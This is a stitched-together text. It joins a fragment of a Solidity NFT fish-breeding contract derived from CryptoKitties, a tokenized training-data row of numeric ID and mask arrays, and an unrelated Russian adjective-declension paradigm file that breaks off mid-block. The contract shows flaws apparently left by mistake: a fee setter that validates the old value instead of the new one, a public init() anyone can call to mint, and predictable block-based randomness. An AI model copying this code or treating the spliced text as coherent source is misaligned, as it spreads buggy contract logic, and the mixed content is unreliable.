event BreedingSaleCancelled(uint256 tokenId);
// Fee owner takes on each sale, measured in basis points (1/100 of a percent).
// Values 0-10,000 map to 0%-100%
uint256 internal breedingSaleFee;
/// constructor
///
/*function FishBreedingSale() public {
breedingSaleFee = 200;
}*/
constructor() public{
breedingSaleFee = 200;
}
/// @dev Computes owner's fee of a sale.
/// @param _saleFee - Sale price of NFT.
function setBreedingSaleFee(uint256 _saleFee) external onlyOwner {
if (breedingSaleFee < 10000 && breedingSaleFee >= 0)
breedingSaleFee = _saleFee;
}
/// @dev Computes owner's fee of a sale.
/// @param _price - Sale price of NFT.
function _computeFee(uint256 _price) internal view returns (uint256) {
// NOTE: We don't use SafeMath (or similar) in this function because
// all of our entry functions carefully cap the maximum values for
// currency (at 128-bits), and saleFee <= 10000 (see the require()
// statement in the ClockAuction constructor). The result of this
// function is always guaranteed to be <= _price.
return _price * breedingSaleFee / 10000;
}
function onBreedingsSaleTokens() external view returns(uint[]){
uint256 totalfishs = totalSupply();
uint256 resultIndex = 0;
uint256 num = 0;
// We count on the fact that all fishes have IDs starting at 1 and increasing
// sequentially up to the totalfish count.
uint256 fishId;
for (fishId = 0; fishId < totalfishs; fishId++) {
if (tokenIdToBreedingSale[fishId].startedAt != 0) {
// means it is not NULL
//result[resultIndex] = fishId;
num++;
}
}
// query twice to init an array
uint256[] memory result = new uint256[](num);
for (fishId = 0; fishId < totalfishs; fishId++) {
if (tokenIdToBreedingSale[fishId].startedAt != 0) {
// means it is not NULL
result[resultIndex] = fishId;
resultIndex++;
}
}
return result;
}
/// @dev Adds an sale to the list of open sales. Also fires the
/// SaleCreated event.
/// @param _tokenId The ID of the token to be put on sale.
/// @param _sale Sale to add.
function _addBreedingSale(uint256 _tokenId, BreedingSale _sale) internal {
tokenIdToBreedingSale[_tokenId] = _sale;
emit BreedingSaleCreated(
uint256(_tokenId),
uint256(_sale.price)
);
}
/// @dev Checks that a given kitten is able to breed. Requires that the
/// current cooldown is finished (for sires) and also checks that there is
/// no pending pregnancy.
function _isReadyToBreed(Fish _kit) internal view returns (bool) {
// In addition to checking the cooldownEndBlock, we also need to check to see if
// the fish has a pending birth; there can be some period of time between the end
// of the pregnacy timer and the birth event.
return (_kit.siringWithId == 0) && (_kit.cooldownEndBlock <= uint64(block.number));
}
/// @notice Checks that a given kitten is able to breed (i.e. it is not pregnant or
/// in the middle of a siring cooldown).
/// @param _FishId reference the id of the kitten, any user can inquire about it
function isReadyToBreed(uint256 _FishId)
public
view
returns (bool)
{
require(_FishId > 0);
Fish storage kit = fishes[_FishId];
return _isReadyToBreed(kit);
}
/// @dev Creates and begins a new sale.
/// @param _tokenId - ID of token to sale, sender must be owner.
/// @param _price - Price of item (in wei) of sale.
/// - Seller is the message sender
function createBreedingSale(
uint256 _tokenId,
uint256 _price
)
external
whenNotPaused
onlyOwnerOf(_tokenId)
{
// Sanity check that no inputs overflow how many bits we've allocated
// to store them in the sale struct.
require(_price == uint256(uint128(_price)));
require(isReadyToBreed(_tokenId));
BreedingSale memory breedingSale = BreedingSale(
msg.sender,
uint128(_price),
uint64(block.timestamp)
);
_addBreedingSale(_tokenId, breedingSale);
}
/// @dev Removes an sale from the list of open sales.
/// @param _tokenId - ID of NFT on sale.
function _removeBreedingSale(uint256 _tokenId) internal {
delete tokenIdToBreedingSale[_tokenId];
}
/// @dev Cancels an sale unconditionally.
/// @param _tokenId - ID of NFT on sale.
function _cancelBreedingSale(uint256 _tokenId) internal {
_removeBreedingSale(_tokenId);
emit BreedingSaleCancelled(_tokenId);
}
/// @dev Returns true if the NFT is on sale.
/// @param _sale - Sale to check.
function _isOnBreedingSale(BreedingSale storage _sale) internal view returns (bool) {
return (_sale.startedAt > 0);
}
/// Returns the NFT to original owner.
/// @notice This is a state-modifying function that can
/// be called while the contract is paused.
/// @param _tokenId - ID of token on sale
function cancelBreedingSale(uint256 _tokenId)
external
onlyOwnerOf(_tokenId)
{
BreedingSale storage sale = tokenIdToBreedingSale[_tokenId];
require(_isOnBreedingSale(sale));
_cancelBreedingSale(_tokenId);
}
}
//////////
//////////
////////// Contract GeneConsoleInterface
//////////
//////////
contract GeneConsoleInterface {
/// @dev simply a boolean to indifishe this is the contract we expect to be
function isGeneConsole() public pure returns (bool);
/// @dev given genes of kitten 1 & 2, return a genetic combination - may have a random factor
/// @param genes1 genes of mom
/// @param genes2 genes of sire
/// @return the genes that are supposed to be passed down the child
function mixGenes(uint256 genes1, uint256 genes2, uint256 targetBlock) public pure returns (uint256);
}
//////////
//////////
////////// Contract FishBreeding
//////////
//////////
/***
functions for FishBreeding contract:
// procedures for breeding a new fish
1. someone A put a fish's F1 mating on sale.
2. someone B wants a fish F2 to mate with F1.
3. B buys the mating right from A. payable.
4. create a new fish Fn accroding to the gene of F1 and F2.
- call GeneticConsole to get the mixed gene
- assign the owner of fn to B.
- trigger cooldown . coolIndex ++ for A and B.
*/
/// @title A facet of FishCore that manages Fish siring, gestation, and birth.
/// @author Axiom Zen (https://www.axiomzen.co)
/// @dev See the FishCore contract documentation to understand how the various contract facets are arranged.
contract FishBreeding is FishBreedingSale {
/// @dev The address of the sibling contract that is used to implement the sooper-sekret
/// genetic combination algorithm.
GeneConsoleInterface public geneScience;
/// @dev Update the address of the genetic contract, can only be called by the Owner of contract.
/// @param _address An address of a GeneScience contract instance to be used from this point forward.
function setGeneScienceAddress(address _address) external onlyOwner {
GeneConsoleInterface candidateContract = GeneConsoleInterface(_address);
// NOTE: verify that a contract is what we expect - https://github.com/Lunyr/crowdsale-contracts/blob/cfadd15986c30521d8ba7d5b6f57b4fefcc7ac38/contracts/LunyrToken.sol#L117
require(candidateContract.isGeneConsole());
// Set the new contract address
geneScience = candidateContract;
}
/// @param _to The address of the recipient, can be a user or contract.
/// @param _tokenId The ID of the Fish to transfer.
/// @dev Required for ERC-721 compliance.
function transfer(
address _to,
uint256 _tokenId
)
public
whenNotPaused
onlyOwnerOf(_tokenId)
{
// Safety check to prevent against an unexpected 0x0 default.
require(_to != address(0));
// make sure the one transferred cannot be on sale or BreedingSale at the same time
require(tokenIdToSale[_tokenId].startedAt==0);
require(tokenIdToBreedingSale[_tokenId].startedAt==0);
// Reassign ownership, clear pending approvals, emit Transfer event.
_transfer(msg.sender, _to, _tokenId);
}
function _tool_breed(uint _mateId,uint _tokenId) internal returns(uint)
{
// mix genes from matron and sire.
// Grab a reference to the matron in storage.
Fish storage matron = fishes[_mateId];
Fish storage sire = fishes[_tokenId];
///// checks requirements
require(_isReadyToBreed(matron) && _isReadyToBreed(sire));
require(_canBreedWithViaAuction(_mateId,_tokenId));
uint256 mixedGene = geneScience.mixGenes(matron.genes,sire.genes,block.number);
// Determine the higher generation number of the two parents
uint16 parentGen = matron.generation;
if (sire.generation > matron.generation) {
parentGen = sire.generation;
}
// Make the new fish!
address owner = fishToOwner[_mateId];
uint256 newFishId = _createFish(mixedGene, uint32(_mateId), uint32(_tokenId),uint16(parentGen + 1), owner);
// Trigger the cooldown for both parents.
_triggerCooldown(sire);
_triggerCooldown(matron);
return newFishId;
}
/// @dev buy Usage an open sale, completing the sale and transferring
/// Usage of the NFT if enough Ether is supplied.
/// @param _tokenId - ID of token to buy.
/// @param _mateId - ID of token owned
function buyMating(uint256 _tokenId,uint256 _mateId)
external
onlyOwnerOf(_mateId)
payable
whenNotPaused
returns(uint256 newFishID)
{
// _buy will throw if the buy or funds transfer fails
//_buyMating(_tokenId, msg.value);
// seller address
// CHECKS
// get price.
BreedingSale storage sale = tokenIdToBreedingSale[_tokenId];
// Check that amount is bigger or equal to the current price
uint256 price = sale.price;
require(price <= msg.value);
// Explicitly check that this sale is currently live.
// (Because of how Ethereum mappings work, we can't just count
// on the lookup above failing. An invalid _tokenId will just
// return an sale object that is all zeros.)
require(_isOnBreedingSale(sale));
// PROCESSING
// Grab a reference to the seller before the sale struct
// gets deleted.
address seller = sale.seller;
// The sale is good! Remove the sale before sending the fees
// to the sender so we can't have a reentrancy attack.
_removeBreedingSale(_tokenId);
uint256 newFishId = _tool_breed(_mateId,_tokenId);
// Clear the reference to sire from the matron (REQUIRED! Having siringWithId
// set is what marks a matron as being pregnant.)
// notice : we dont have pregant peroird
////delete matron.siringWithId;
// TRANSFER
// Send the balance fee to the person who offered the dad (sireId or tokenId).
// Transfer proceeds to seller (if there are any!)
if (price > 0) {
// Calculate the transaction fee to contract address
// (NOTE: _computeFee() is guaranteed to return a
// value <= price, so this subtraction can't go negative.)
uint256 saleeerFee = _computeFee(price);
//uint256 sellerProceeds = ;
// NOTE: Doing a transfer() in the middle of a complex
// method like this is generally discouraged because of
// reentrancy attacks and DoS attacks if the seller is
// a contract with an invalid fallback function. We explicitly
// guard against reentrancy attacks by removing the sale
// before calling transfer(), and the only thing the seller
// can DoS is the sale of their own asset! (And if it's an
// accident, they can call cancelSale(). )
seller.transfer(price - saleeerFee);
}
// Tell the world!
emit BreedingSaleSuccessful(_tokenId, price, msg.sender);
return newFishId;
}
/// @dev Set the cooldownEndTime for the given Fish, based on its current cooldownIndex.
/// Also increments the cooldownIndex (unless it has hit the cap).
/// @param _fish A reference to the Fish in storage which needs its timer started.
function _triggerCooldown(Fish storage _fish) internal {
// Compute an estimation of the cooldown time in blocks (based on current cooldownIndex).
_fish.cooldownEndBlock = uint64((cooldowns[_fish.cooldownIndex]/secondsPerBlock) + block.number);
// Increment the breeding count, clamping it at 13, which is the length of the
// cooldowns array. We could check the array size dynamically, but hard-coding
// this as a constant saves gas. Yay, Solidity!
if (_fish.cooldownIndex < 13) {
_fish.cooldownIndex += 1;
}
}
/// @dev Internal check to see if a given sire and matron are a valid mating pair. DOES NOT
/// check ownership permissions (that is up to the caller).
/// @param _matron A reference to the Fish struct of the potential matron.
/// @param _matronId The matron's ID.
/// @param _sire A reference to the Fish struct of the potential sire.
/// @param _sireId The sire's ID
function _isValidMatingPair(
Fish storage _matron,
uint256 _matronId,
Fish storage _sire,
uint256 _sireId
)
private
view
returns(bool)
{
// A Fish can't breed with itself!
if (_matronId == _sireId) {
return false;
}
// fishes can't breed with their parents.
if (_matron.matronId == _sireId || _matron.sireId == _sireId) {
return false;
}
if (_sire.matronId == _matronId || _sire.sireId == _matronId) {
return false;
}
// We can short circuit the sibling check (below) if either fish is
// gen zero (has a matron ID of zero).
if (_sire.matronId == 0 || _matron.matronId == 0) {
return true;
}
// fishes can't breed with full or half siblings.
if (_sire.matronId == _matron.matronId || _sire.matronId == _matron.sireId) {
return false;
}
if (_sire.sireId == _matron.matronId || _sire.sireId == _matron.sireId) {
return false;
}
// Everything seems cool! Let's get DTF.
return true;
}
/// @dev Internal check to see if a given sire and matron are a valid mating pair for
/// breeding via auction (i.e. skips ownership and siring approval checks).
function _canBreedWithViaAuction(uint256 _matronId, uint256 _sireId)
internal
view
returns (bool)
{
Fish storage matron = fishes[_matronId];
Fish storage sire = fishes[_sireId];
return _isValidMatingPair(matron, _matronId, sire, _sireId);
}
}
//////////
//////////
////////// Contract FishMinting
//////////
//////////
/// @title all functions related to creating fishs
contract FishMinting is FishBreeding {
// Limits the number of fishs the contract owner can ever create.
uint256 public constant PROMO_CREATION_LIMIT = 5000;
uint256 public constant GEN0_CREATION_LIMIT = 45000;
// Constants for gen0 auctions.
uint256 public constant GEN0_STARTING_PRICE = 10 finney;
// Counts the number of fishs the contract owner has created.
uint256 public promoCreatedCount;
uint256 public gen0CreatedCount;
/// @dev we can create promo fishs, up to a limit. Only callable by COO
/// @param _genes the encoded genes of the fish to be created, any value is accepted
/// @param _owner the future owner of the created fishs. Default to contract COO
function createPromofish(uint256 _genes, address _owner) external onlyOwner {
address fishOwner = _owner;
if (fishOwner == address(0)) {
fishOwner = owner;
}
require(promoCreatedCount < PROMO_CREATION_LIMIT);
promoCreatedCount++;
_createFish(_genes,0, 0, 0, fishOwner);
}
/// @dev Creates a new gen0 fish with the random given genes and
/// creates an auction for it.
function createRandomGen0Sale() external onlyOwner {
require(gen0CreatedCount < GEN0_CREATION_LIMIT);
uint256 _genes = uint256(keccak256(block.number, block.timestamp));
uint256 fishId = _createFish(_genes,0, 0, 0, address(this));
_createSale(
fishId,
_computeNextGen0Price(),
address(this)
);
gen0CreatedCount++;
}
/// @dev Creates a new gen0 fish with the given genes and
/// creates an auction for it.
function createGen0Sale(uint256 _genes) external onlyOwner {
require(gen0CreatedCount < GEN0_CREATION_LIMIT);
uint256 fishId = _createFish(_genes,0, 0, 0, address(this));
_createSale(
fishId,
_computeNextGen0Price(),
address(this)
);
gen0CreatedCount++;
}
/// @dev Computes the next gen0 auction starting price, given
/// the average of the past 5 prices + 50%.
function _computeNextGen0Price() internal view returns (uint256) {
uint256 avePrice = averageGen0SalePrice();
// Sanity check to ensure we don't overflow arithmetic
require(avePrice == uint256(uint128(avePrice)));
uint256 nextPrice = avePrice + (avePrice / 2);
// We never auction for less than starting price
if (nextPrice < GEN0_STARTING_PRICE) {
nextPrice = GEN0_STARTING_PRICE;
}
return nextPrice;
}
}
//////////
//////////
////////// Contract FishCore
//////////
//////////
/// @dev The main CryptoFishes contract, keeps track of fishs so they don't wander around and get lost.
contract FishCore is FishMinting {
//community to breed, breed, breed!
// Set in case the core contract is broken and an upgrade is required
address public newContractAddress;
/// Creates the main CryptoFishes smart contract instance.
/*function FishCore() public {
// Starts paused.
paused = true;
// start with the mythical fish 0 - so we don't have generation-0 parent issues
_createFish(uint256(-1),0, 0, 0, address(0));
}*/
constructor () public {
// Starts paused.
//paused = true;
// start with the mythical fish 0 - so we don't have generation-0 parent issues
//
}
function init() public{
_createFish(uint256(keccak256(block.timestamp)),0, 0, 0, address(0));
}
/// @notice Returns all the relevant information about a specific fish.
/// @param _id The ID of the fish of interest.
function getFish(uint256 _id)
external
view
returns (
bool isGestating,
bool isReady,
uint256 cooldownIndex,
uint256 nextActionAt,
uint256 siringWithId,
uint256 birthTime,
uint256 matronId,
uint256 sireId,
uint256 generation,
uint256 genes
) {
Fish storage kit = fishes[_id];
// if this variable is 0 then it's not gestating
isGestating = (kit.siringWithId != 0);
isReady = (kit.cooldownEndBlock <= block.number);
cooldownIndex = uint256(kit.cooldownIndex);
nextActionAt = uint256(kit.cooldownEndBlock);
siringWithId = uint256(kit.siringWithId);
birthTime = uint256(kit.birthTime);
matronId = uint256(kit.matronId);
sireId = uint256(kit.sireId);
generation = uint256(kit.generation);
genes = kit.genes;
}
/// @dev Override unpause so it requires all external contract addresses
/// to be set before contract can be unpaused. Also, we can't have
/// newContractAddress set either, because then the contract was upgraded.
/// @notice This is public rather than external so we can call super.unpause
/// without using an expensive CALL.
function unpause() public onlyOwner whenPaused {
require(geneScience != address(0));
paused = false;
}
}
contract GeneticConsole{
/// @dev given genes of kitten 1 & 2, return a genetic combination - may have a random factor
/// @param genes1 genes of mom
/// @param genes2 genes of sire
/// @return the genes that are supposed to be passed down the child
function mixGenes(uint256 genes1, uint256 genes2, uint256 targetBlock) public pure returns (uint256)
{
//return uint(keccak256(targetBlock,genes1,genes2));
return uint((genes1+genes2)/2+uint(keccak256(targetBlock)));
}
function isGeneConsole() public pure returns (bool)
{
return true;
}
}
| @dev Modifier to allow actions only when the contract IS paused | modifier whenPaused {
require(paused);
_;
}
| 1,802,141 | [
1,
9829,
358,
1699,
4209,
1338,
1347,
326,
6835,
4437,
17781,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
9606,
1347,
28590,
288,
203,
3639,
2583,
12,
8774,
3668,
1769,
203,
3639,
389,
31,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// -----------------------------------------------------------------------------
// File RUS_ADJECTIVES_PARADIGMAS.SOL
//
// (c) Koziev Elijah
//
// Content:
// Лексикон - определения прилагательных (ADJECTIVES) для русской секции Словаря.
//
// 21.03.2010 - добавлены маски для всех реализованных парадигм, чтобы работала
// функция автозаполнения в Редакторе Словаря.
//
// 18.07.2011 - исправление ошибки в парадигмах - для винительного падежу у форм
// женского и среднего рода убраны признаки неодушевленности.
//
// Склонение русских прилагательных http://www.solarix.ru/for_developers/api/russian-adjective-declension.shtml
// Словарные статьи http://www.solarix.ru/for_developers/docs/entries.shtml#words
// Особенности морфологии русских прилагательных: http://www.solarix.ru/russian-adjectives-and-participles.shtml
// -----------------------------------------------------------------------------
//
// CD->05.10.1995
// LC->20.09.2012
// --------------
#include "sg_defs.h"
automat sg
{
// СМЕРТНЫЙ etc.
paradigm смертный, Прил_5001 : ПРИЛАГАТЕЛЬНОЕ for "(.+)\\@бНЫЙ"
{
СТЕПЕНЬ:АТРИБ |{
~КРАТКИЙ |{
ПАДЕЖ:(ИМ) |{
ЧИСЛО:ЕД РОД { "" "%-2%+АЯ" "%-2%+ОЕ" } // СМЕРТНЫЙ СМЕРТНАЯ СМЕРТНОЕ
ЧИСЛО:МН { "%-2%+ЫЕ" } // СМЕРТНЫЕ
}
ПАДЕЖ:(РОД) |{
ЧИСЛО:ЕД РОД { "%-2%+ОГО" "%-2%+ОЙ" "%-2%+ОГО" } // СМЕРТНОГО СМЕРТНОЙ СМЕРТНОГО
ЧИСЛО:МН { "%-2%+ЫХ" } // СМЕРТНЫХ
}
ПАДЕЖ:ТВОР |{
ЧИСЛО:ЕД РОД { "%-2%+ЫМ" "%-2%+ОЙ" "%-2%+ЫМ" } // СМЕРТНЫМ СМЕРТНОЙ СМЕРТНЫМ
ЧИСЛО:ЕД РОД:ЖЕН { "%-2%+ОЮ" } // СМЕРТНОЮ
ЧИСЛО:МН { "%-2%+ЫМИ" } // СМЕРТНЫМИ
}
ПАДЕЖ:ВИН |{
ЧИСЛО:ЕД ОДУШ:НЕОДУШ РОД:МУЖ { "" } // СМЕРТНЫЙ
ЧИСЛО:ЕД ОДУШ:ОДУШ РОД:МУЖ { "%-2%+ОГО" } // СМЕРТНОГО
ЧИСЛО:ЕД РОД:ЖЕН { "%-2%+УЮ" } // СМЕРТНУЮ
ЧИСЛО:ЕД РОД:СР { "%-2%+ОЕ" } // СМЕРТНОЕ
ЧИСЛО:МН ОДУШ:ОДУШ { "%-2%+ЫХ" } // СМЕРТНЫХ ЛЮДЕЙ
ЧИСЛО:МН ОДУШ:НЕОДУШ { "%-2%+ЫЕ" } // СМЕРТНЫЕ ГРЕХИ
}
ПАДЕЖ:ДАТ |{
ЧИСЛО:ЕД РОД { "%-2%+ОМУ" "%-2%+ОЙ" "%-2%+ОМУ" } // СМЕРТНОМУ СМЕРТНОЙ СМЕРТНОМУ
ЧИСЛО:МН { "%-2%+ЫМ" } // СМЕРТНЫМ
}
ПАДЕЖ:(ПРЕДЛ) |{
ЧИСЛО:ЕД РОД { "%-2%+ОМ" "%-2%+ОЙ" "%-2%+ОМ" } // СМЕРТНОМ СМЕРТНОЙ СМЕРТНОМ
ЧИСЛО:МН { "%-2%+ЫХ" } // СМЕРТНЫХ
}
}
КРАТКИЙ ПАДЕЖ:(ИМ) |{
ЧИСЛО:ЕД РОД { "%-3%+ЕН" "%-2%+А" "%-2%+О" } // СМЕРТЕН СМЕРТНА СМЕРТНО
ЧИСЛО:МН { "%-1" } // СМЕРТНЫ
}
}
СТЕПЕНЬ:СРАВН ~КРАТКИЙ { "%-2%+ЕЕ" } // СМЕРТНЕЕ
СТЕПЕНЬ:СРАВН ~КРАТКИЙ { "%-2%+ЕЙ" } // СМЕРТНЕЙ
СТЕПЕНЬ:СРАВН ~КРАТКИЙ { "%a0{ПО}%-2%+ЕЕ" } :: flexer "compar2" // ПОСМЕРТНЕЕ
СТЕПЕНЬ:СРАВН ~КРАТКИЙ { "%a0{ПО}%-2%+ЕЙ" } :: flexer "compar2" // ПОСМЕРТНЕЙ
СТЕПЕНЬ:ПРЕВОСХ ~КРАТКИЙ
|{
ПАДЕЖ:(ИМ) |{
ЧИСЛО:ЕД РОД { "%-2%+ЕЙШИЙ" "%-2%+ЕЙШАЯ" "%-2%+ЕЙШЕЕ" } // СМЕРТНЕЙШИЙ СМЕРТНЕЙШАЯ СМЕРТНЕЙШЕЕ
ЧИСЛО:МН { "%-2%+ЕЙШИЕ" } // СМЕРТНЕЙШИЕ
}
ПАДЕЖ:(РОД) |{
ЧИСЛО:ЕД РОД { "%-2%+ЕЙШЕГО" "%-2%+ЕЙШЕЙ" "%-2%+ЕЙШЕГО" } // СМЕРТНЕЙШЕГО СМЕРТНЕЙШЕЙ СМЕРТНЕЙШЕГО
ЧИСЛО:МН { "%-2%+ЕЙШИХ" } // СМЕРТНЕЙШИХ
}
ПАДЕЖ:ТВОР |{
ЧИСЛО:ЕД РОД { "%-2%+ЕЙШИМ" "%-2%+ЕЙШЕЙ" "%-2%+ЕЙШИМ" } // СМЕРТНЕЙШИМ СМЕРТНЕЙШЕЙ СМЕРТНЕЙШИМ
ЧИСЛО:ЕД РОД:ЖЕН { "%-2%+ЕЙШЕЮ" } // СМЕРТНЕЙШЕЮ
ЧИСЛО:МН { "%-2%+ЕЙШИМИ" } // СМЕРТНЕЙШИМИ
}
ПАДЕЖ:ВИН |{
ЧИСЛО:ЕД ОДУШ:НЕОДУШ РОД:МУЖ { "%-2%+ЕЙШИЙ" } // СМЕРТНЕЙШИЙ
ЧИСЛО:ЕД ОДУШ:ОДУШ РОД:МУЖ { "%-2%+ЕЙШЕГО" } // СМЕРТНЕЙШЕГО
ЧИСЛО:ЕД РОД:ЖЕН { "%-2%+ЕЙШУЮ" } // СМЕРТНЕЙШУЮ
ЧИСЛО:ЕД РОД:СР { "%-2%+ЕЙШЕЕ" } // СМЕРТНЕЙШЕЕ
ЧИСЛО:МН ОДУШ:ОДУШ { "%-2%+ЕЙШИХ" } // СМЕРТНЕЙШИХ
ЧИСЛО:МН ОДУШ:НЕОДУШ { "%-2%+ЕЙШИЕ" } // СМЕРТНЕЙШИЕ
}
ПАДЕЖ:ДАТ |{
ЧИСЛО:ЕД РОД { "%-2%+ЕЙШЕМУ" "%-2%+ЕЙШЕЙ" "%-2%+ЕЙШЕМУ" } // СМЕРТНЕЙШЕМУ СМЕРТНЕЙШЕЙ СМЕРТНЕЙШЕМУ
ЧИСЛО:МН { "%-2%+ЕЙШИМ" } // СМЕРТНЕЙШИМ
}
ПАДЕЖ:(ПРЕДЛ) |{
ЧИСЛО:ЕД РОД { "%-2%+ЕЙШЕМ" "%-2%+ЕЙШЕЙ" "%-2%+ЕЙШЕМ" } // СМЕРТНЕЙШЕМ СМЕРТНЕЙШЕЙ СМЕРТНЕЙШЕМ
ЧИСЛО:МН { "%-2%+ЕЙШИХ" } // СМЕРТНЕЙШИХ
}
// Вариант суперлатива НАИ-
ПАДЕЖ:(ИМ) |{
ЧИСЛО:ЕД РОД { "%a0{НАИ}%-2%+ЕЙШИЙ" "%a0{НАИ}%-2%+ЕЙШАЯ" "%a0{НАИ}%-2%+ЕЙШЕЕ" }
ЧИСЛО:МН { "%a0{НАИ}%-2%+ЕЙШИЕ" }
}
ПАДЕЖ:(РОД) |{
ЧИСЛО:ЕД РОД { "%a0{НАИ}%-2%+ЕЙШЕГО" "%a0{НАИ}%-2%+ЕЙШЕЙ" "%a0{НАИ}%-2%+ЕЙШЕГО" }
ЧИСЛО:МН { "%a0{НАИ}%-2%+ЕЙШИХ" }
}
ПАДЕЖ:ТВОР |{
ЧИСЛО:ЕД РОД { "%a0{НАИ}%-2%+ЕЙШИМ" "%a0{НАИ}%-2%+ЕЙШЕЙ" "%a0{НАИ}%-2%+ЕЙШИМ" }
ЧИСЛО:ЕД РОД:ЖЕН { "%a0{НАИ}%-2%+ЕЙШЕЮ" }
ЧИСЛО:МН { "%a0{НАИ}%-2%+ЕЙШИМИ" }
}
ПАДЕЖ:ВИН |{
ЧИСЛО:ЕД ОДУШ:НЕОДУШ РОД:МУЖ { "%a0{НАИ}%-2%+ЕЙШИЙ" }
ЧИСЛО:ЕД ОДУШ:ОДУШ РОД:МУЖ { "%a0{НАИ}%-2%+ЕЙШЕГО" }
ЧИСЛО:ЕД РОД:ЖЕН { "%a0{НАИ}%-2%+ЕЙШУЮ" }
ЧИСЛО:ЕД РОД:СР { "%a0{НАИ}%-2%+ЕЙШЕЕ" }
ЧИСЛО:МН ОДУШ:ОДУШ { "%a0{НАИ}%-2%+ЕЙШИХ" }
ЧИСЛО:МН ОДУШ:НЕОДУШ { "%a0{НАИ}%-2%+ЕЙШИЕ" }
}
ПАДЕЖ:ДАТ |{
ЧИСЛО:ЕД РОД { "%a0{НАИ}%-2%+ЕЙШЕМУ" "%a0{НАИ}%-2%+ЕЙШЕЙ" "%a0{НАИ}%-2%+ЕЙШЕМУ" }
ЧИСЛО:МН { "%a0{НАИ}%-2%+ЕЙШИМ" }
}
ПАДЕЖ:(ПРЕДЛ) |{
ЧИСЛО:ЕД РОД { "%a0{НАИ}%-2%+ЕЙШЕМ" "%a0{НАИ}%-2%+ЕЙШЕЙ" "%a0{НАИ}%-2%+ЕЙШЕМ" }
ЧИСЛО:МН { "%a0{НАИ}%-2%+ЕЙШИХ" }
}
// Вариант суперлатива ПРЕ-
ПАДЕЖ:(ИМ) |{
ЧИСЛО:ЕД РОД { "%a0{ПРЕ}%-2%+ЕЙШИЙ" "%a0{ПРЕ}%-2%+ЕЙШАЯ" "%a0{ПРЕ}%-2%+ЕЙШЕЕ" }
ЧИСЛО:МН { "%a0{ПРЕ}%-2%+ЕЙШИЕ" }
}
ПАДЕЖ:(РОД) |{
ЧИСЛО:ЕД РОД { "%a0{ПРЕ}%-2%+ЕЙШЕГО" "%a0{ПРЕ}%-2%+ЕЙШЕЙ" "%a0{ПРЕ}%-2%+ЕЙШЕГО" }
ЧИСЛО:МН { "%a0{ПРЕ}%-2%+ЕЙШИХ" }
}
ПАДЕЖ:ТВОР |{
ЧИСЛО:ЕД РОД { "%a0{ПРЕ}%-2%+ЕЙШИМ" "%a0{ПРЕ}%-2%+ЕЙШЕЙ" "%a0{ПРЕ}%-2%+ЕЙШИМ" }
ЧИСЛО:ЕД РОД:ЖЕН { "%a0{ПРЕ}%-2%+ЕЙШЕЮ" }
ЧИСЛО:МН { "%a0{ПРЕ}%-2%+ЕЙШИМИ" }
}
ПАДЕЖ:ВИН |{
ЧИСЛО:ЕД ОДУШ:НЕОДУШ РОД:МУЖ { "%a0{ПРЕ}%-2%+ЕЙШИЙ" }
